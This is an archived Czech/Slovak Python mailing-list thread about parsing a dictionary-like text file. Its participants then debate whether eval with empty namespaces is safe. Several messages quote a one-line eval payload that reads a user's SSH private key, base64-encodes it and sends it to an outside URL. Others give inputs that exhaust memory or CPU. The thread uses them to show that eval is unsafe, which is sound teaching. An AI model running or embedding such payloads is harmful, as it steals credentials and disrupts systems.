Re: [python] parsing souboru

2010-05-06 Tema obsahu ViNiL

Petr Messner:
>> eval(x, {}, {})
>>
>> Jakým X se dá z takové konstrukce utéci?
>

eval("__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read()",
{}, {})



Tak to je odpoved, az srdecko zaplesalo :-D
Myslim, ze je na case zavest soutez o prispevek mesice...

V.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech

import resource
resource.setrlimit(resource.RLIMIT_AS, (2000, 2000))


hm resource modul som nepoznal, mozno by to slo vyriesit nejak takto. 
Osobne ale radsej pouzijem eval a exec iba tam, kde ma bezpecnost az tak 
nepali. Mam ich sice rad, ale urcite to nie je laska bez hranic.



btw. Váš příklad mi nefungoval, asi tam bylo moc nul. Prej to nejde
zkonvertovat na integer. Nebo máte 64-bit procesor?


hej mam 64bit procesor. Ale ako som pisal, neviem kolko nul to este 
zozerie a skusat to nebudem (zase by mi to pozabijalo vsetko mozne :-D )


Ten resource modul ale urcite niekedy vyskusam, ked budem mat viac casu, 
ze ci to pomoze aj v takychto situaciach.


Jan Janech
--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jakub Zíka
Jak jsem už psal, dá se použít modul resource:

>>> import resource
>>> resource.setrlimit(resource.RLIMIT_AS, (2000, 2000))
>>> a = []
>>> while True: a.append(1000)
...
Traceback (most recent call last):
  File "", line 1, in 
MemoryError
>>>

btw. Váš příklad mi nefungoval, asi tam bylo moc nul. Prej to nejde
zkonvertovat na integer. Nebo máte 64-bit procesor?

2010/5/5 Jan Janech :
> Ak myslite, ze je to take jednoduche, skuste si spustit,
>
> list(xrange(10))
>
> neviem kolko nul tam moze byt, aby to zobralo. Toto som skusil ked som pisal
> predchadzajuci mail. Potom som ho musel pisat znovu, lebo mi linux zabil
> thunderbird pre nedostatok pamate.
>
> Viem, ze ak sa to spravi spravne, nemozem v eval a exec pouzivat ziadne fcie
> (ani list, ani xrange), takze hentak uplne to napisat nepojde. Ale verim, ze
> niekde na svete existuje vacsi borec ako ja ( :-D ) a ten to dokaze takyto
> problem vytvorit aj so standardnymi prvkami jazyka.
>
> Jan Janech
>
> On 05/05/10 15:27, Jakub Zíka wrote:
>>
>> Na Linuxu bych se proti přetížení procesoru bránil tak, že bych
>> spustil skript jako samostatný proces (např. modul multiprocessing
>> nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes
>> funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc
>> dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval
>> (myslím, že se to může stát, když počítá např. 10**1000), tak
>> signál KILL. Protože by uživatel nemohl změnit chování při přijetí
>> signálů (protože by nemohl importovat potřebný modul), mělo by to
>> fungovat celkem spolehlivě. Maximální velikost použité paměti lze
>> omezit přes modul resource.
>>
>> 2010/5/5 Jan Janech:
>>>
>>> Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda
>>> ak
>>> to clovek vie spravit.
>>>
>>> staci nieco taketo:
>>>
>> eval(superNebezpecnyKod, {'__builtins__': {}}, {})
>>>
>>> alebo
>>>
>> exec superNebezpecnyKod in {'__builtins__': {}}, {}
>>>
>>> zavisi ale od toho, akym situaciam sa chcete vyhnut.
>>>
>>> coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:
>>>
>> superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'
>>>
>>> to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven
>>> rekurzie.
>>>
>>> co tak ale nekonecny cyklus?
>>>
>> superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'
>>>
>>> alebo supernarocne operacie?
>>>
>> superNebezpecnyKod='2**1'
>>>
>>> vela stastia pri vyuzivani evalu a execu :D
>>>
>>> Jan Janech
>>>
>>>
>>> On 05/05/10 14:26, Hynek Fabian wrote:

 Jan Janech (středa 05 Květen 2010 13:08:49):
>
> Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
> narusenie bezpecnosti sa da spravit aj v eval.

 Jak?

 eval(x, {}, {})

 Jakým X se dá z takové konstrukce utéci?
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python



>>>
>>>
>>> --
>>>
>>> 
>>> Ing. Jan Janech
>>> Katedra softverovych technologii
>>> Fakulta riadenia a informatiky
>>> Zilinska Univerzita
>>> ___
>>> Python mailing list
>>> Python@py.cz
>>> http://www.py.cz/mailman/listinfo/python
>>>
>> ___
>> Python mailing list
>> Python@py.cz
>> http://www.py.cz/mailman/listinfo/python
>>
>>
>>
>
>
> --
>
> 
> Ing. Jan Janech
> Katedra softverovych technologii
> Fakulta riadenia a informatiky
> Zilinska Univerzita
> ___
> Python mailing list
> Python@py.cz
> http://www.py.cz/mailman/listinfo/python
>
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech

Ak myslite, ze je to take jednoduche, skuste si spustit,

list(xrange(10))

neviem kolko nul tam moze byt, aby to zobralo. Toto som skusil ked som 
pisal predchadzajuci mail. Potom som ho musel pisat znovu, lebo mi linux 
zabil thunderbird pre nedostatok pamate.


Viem, ze ak sa to spravi spravne, nemozem v eval a exec pouzivat ziadne 
fcie (ani list, ani xrange), takze hentak uplne to napisat nepojde. Ale 
verim, ze niekde na svete existuje vacsi borec ako ja ( :-D ) a ten to 
dokaze takyto problem vytvorit aj so standardnymi prvkami jazyka.


Jan Janech

On 05/05/10 15:27, Jakub Zíka wrote:

Na Linuxu bych se proti přetížení procesoru bránil tak, že bych
spustil skript jako samostatný proces (např. modul multiprocessing
nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes
funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc
dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval
(myslím, že se to může stát, když počítá např. 10**1000), tak
signál KILL. Protože by uživatel nemohl změnit chování při přijetí
signálů (protože by nemohl importovat potřebný modul), mělo by to
fungovat celkem spolehlivě. Maximální velikost použité paměti lze
omezit přes modul resource.

2010/5/5 Jan Janech:

Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak
to clovek vie spravit.

staci nieco taketo:


eval(superNebezpecnyKod, {'__builtins__': {}}, {})


alebo


exec superNebezpecnyKod in {'__builtins__': {}}, {}


zavisi ale od toho, akym situaciam sa chcete vyhnut.

coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:


superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'


to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie.

co tak ale nekonecny cyklus?


superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'


alebo supernarocne operacie?


superNebezpecnyKod='2**1'


vela stastia pri vyuzivani evalu a execu :D

Jan Janech


On 05/05/10 14:26, Hynek Fabian wrote:


Jan Janech (středa 05 Květen 2010 13:08:49):


Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
narusenie bezpecnosti sa da spravit aj v eval.


Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jakub Zíka
Na Linuxu bych se proti přetížení procesoru bránil tak, že bych
spustil skript jako samostatný proces (např. modul multiprocessing
nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes
funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc
dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval
(myslím, že se to může stát, když počítá např. 10**1000), tak
signál KILL. Protože by uživatel nemohl změnit chování při přijetí
signálů (protože by nemohl importovat potřebný modul), mělo by to
fungovat celkem spolehlivě. Maximální velikost použité paměti lze
omezit přes modul resource.

2010/5/5 Jan Janech :
> Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak
> to clovek vie spravit.
>
> staci nieco taketo:
>
 eval(superNebezpecnyKod, {'__builtins__': {}}, {})
>
> alebo
>
 exec superNebezpecnyKod in {'__builtins__': {}}, {}
>
> zavisi ale od toho, akym situaciam sa chcete vyhnut.
>
> coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:
>
 superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'
>
> to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie.
>
> co tak ale nekonecny cyklus?
>
 superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'
>
> alebo supernarocne operacie?
>
 superNebezpecnyKod='2**1'
>
> vela stastia pri vyuzivani evalu a execu :D
>
> Jan Janech
>
>
> On 05/05/10 14:26, Hynek Fabian wrote:
>>
>> Jan Janech (středa 05 Květen 2010 13:08:49):
>>>
>>> Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
>>> narusenie bezpecnosti sa da spravit aj v eval.
>>
>> Jak?
>>
>> eval(x, {}, {})
>>
>> Jakým X se dá z takové konstrukce utéci?
>> ___
>> Python mailing list
>> Python@py.cz
>> http://www.py.cz/mailman/listinfo/python
>>
>>
>>
>
>
> --
>
> 
> Ing. Jan Janech
> Katedra softverovych technologii
> Fakulta riadenia a informatiky
> Zilinska Univerzita
> ___
> Python mailing list
> Python@py.cz
> http://www.py.cz/mailman/listinfo/python
>
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech
Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda 
ak to clovek vie spravit.


staci nieco taketo:

>>> eval(superNebezpecnyKod, {'__builtins__': {}}, {})

alebo

>>> exec superNebezpecnyKod in {'__builtins__': {}}, {}

zavisi ale od toho, akym situaciam sa chcete vyhnut.

coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:

>>> superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'

to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie.

co tak ale nekonecny cyklus?

>>> superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'

alebo supernarocne operacie?

>>> superNebezpecnyKod='2**1'

vela stastia pri vyuzivani evalu a execu :D

Jan Janech


On 05/05/10 14:26, Hynek Fabian wrote:

Jan Janech (středa 05 Květen 2010 13:08:49):

Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
narusenie bezpecnosti sa da spravit aj v eval.

Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
To je ale krásně hnusný… odvolávám co jsem odvolal a slibuji co jsem slíbil,
evalu se budu nadále vyhýbat obloukem.

Petr Messner (středa 05 Květen 2010 14:37:20):
> eval("__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import
> __('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read
> ()", {}, {})
> 
> 2010/5/5 Hynek Fabian :
> > Jan Janech (středa 05 Květen 2010 13:08:49):
> >> Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
> >> narusenie bezpecnosti sa da spravit aj v eval.
> > 
> > Jak?
> > 
> > eval(x, {}, {})
> > 
> > Jakým X se dá z takové konstrukce utéci?
> > ___
> > Python mailing list
> > Python@py.cz
> > http://www.py.cz/mailman/listinfo/python
> 
> ___
> Python mailing list
> Python@py.cz
> http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Messner
eval("__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read()",
{}, {})


2010/5/5 Hynek Fabian :
> Jan Janech (středa 05 Květen 2010 13:08:49):
>> Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
>> narusenie bezpecnosti sa da spravit aj v eval.
> Jak?
>
> eval(x, {}, {})
>
> Jakým X se dá z takové konstrukce utéci?
> ___
> Python mailing list
> Python@py.cz
> http://www.py.cz/mailman/listinfo/python
>
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
Jan Janech (středa 05 Květen 2010 13:08:49):
> Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
> narusenie bezpecnosti sa da spravit aj v eval.
Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jirka Vejrazka
> Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :)
> Poslední dobou se objevují docela šikovné knihovny na parsování textu
> pomocí zadané gramatiky, např. malá ukázka pro slovník:
> http://gist.github.com/390687

No, kdyby na to doslo, da se samozrejme pouzit pyparsing, ale je to
trochu kanon na vrabce :)

   Jirka
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Messner
Ahoj,

pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou
knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc
nelíbí.

Načítat do paměti bych se to nebál, 6 kB není zase tolik.

Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :)
Poslední dobou se objevují docela šikovné knihovny na parsování textu
pomocí zadané gramatiky, např. malá ukázka pro slovník:
http://gist.github.com/390687

Samozřejmě další možností je použít na obsah souboru regulární výraz,
pokud je to možné.

PM


2010/5/5 Tomas Hnizdil :
> Hezky den,
> jelikoz s pythonem nemam zas tak moc zkusenosti, napadlo me, ze udelam
> takovy maly brainstorming, nez se pustim do prace.
> Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
> 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
> Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
> toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000
> znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat
> cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto
> se ptam, zda to jde udelat nejak lepe ...
>
> ... staci odkaz, na ktery jsem nenarazil, necekam step by step navod - vazim
> si vaseho casu :).
>
> diky
> Tom
>
> ___
> Python mailing list
> Python@py.cz
> http://www.py.cz/mailman/listinfo/python
>
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech
Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre 
narusenie bezpecnosti sa da spravit aj v eval.


Proti importom, builtin namespace atd sa daju zabezpecit obe. Nekonecny 
cyklus, nekonecna rekurzia, vsetko sa da spravit aj v eval aj v exec.


Jediny rozdiel je v tom, ze jeden vykonava vyrazy a jeden prikazy.

Jan Janech

On 05/05/10 11:49, Hynek Fabian wrote:

Jirka Vejrazka (středa 05 Květen 2010 10:33:39):

   Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.

Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval()
nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí
nedefaultní jmenné prostory, měl by být dostatečně izolovaný.

"Zlo" se v pythonu jmenuje exec() :-)
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jirka Vejrazka
> Jirka Vejrazka (středa 05 Květen 2010 10:33:39):
>>   Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
>> pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.
> Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval()
> nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí
> nedefaultní jmenné prostory, měl by být dostatečně izolovaný.
>
> "Zlo" se v pythonu jmenuje exec() :-)


A vida, diky za opravu :)  Mea culpa :)

  Jirka
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
Jirka Vejrazka (středa 05 Květen 2010 10:33:39):
>   Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
> pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.
Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval() 
nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí 
nedefaultní jmenné prostory, měl by být dostatečně izolovaný.

"Zlo" se v pythonu jmenuje exec() :-)
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jirka Vejrazka
Ahoj,

  To skoro vypada, jako JSON format, na ktery existuji parsery (I
primo v Pythonu). 6000 znaku nema smysl nijak optimalizovat, to je
zbytecna ztrata casu.

  Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.

  Jirka

On 05/05/2010, Petr Přikryl  wrote:
>
> Tomas Hnizdil
>>Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
>>'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
>>Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
>>toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru
>> 6000
>>znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat
>>cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto
>>se ptam, zda to jde udelat nejak lepe ...
>
> Jak často se to má spouštět? Jak velký ten soubor je? V jakém kódování je?
> S jakou verzí Pythonu to má fungovat?
>
> Pokud je na jednom řádku zápis celého slovníku, normálně bych
> z toho udělal slovník (eval) a nedělal bych si s tím těžkou hlavu.
> Pokud se to nemá provádět velmi intenzivně, nemá smysl se
> zabývat optimalizacemi.
>
> Něco takového:
>
 a = "{'a': 1, 'b': 2}"
 a
> "{'a': 1, 'b': 2}"
 d = eval(a)
 d
> {'a': 1, 'b': 2}

>
> Petr
> ___
> Python mailing list
> Python@py.cz
> http://www.py.cz/mailman/listinfo/python
>
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-04 Tema obsahu Petr Přikryl

Tomas Hnizdil
>Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
>'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
>Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
>toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000
>znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat
>cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto
>se ptam, zda to jde udelat nejak lepe ...

Jak často se to má spouštět? Jak velký ten soubor je? V jakém kódování je?
S jakou verzí Pythonu to má fungovat?

Pokud je na jednom řádku zápis celého slovníku, normálně bych
z toho udělal slovník (eval) a nedělal bych si s tím těžkou hlavu.
Pokud se to nemá provádět velmi intenzivně, nemá smysl se
zabývat optimalizacemi.

Něco takového:

>>> a = "{'a': 1, 'b': 2}"
>>> a
"{'a': 1, 'b': 2}"
>>> d = eval(a)
>>> d
{'a': 1, 'b': 2}
>>>

Petr
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python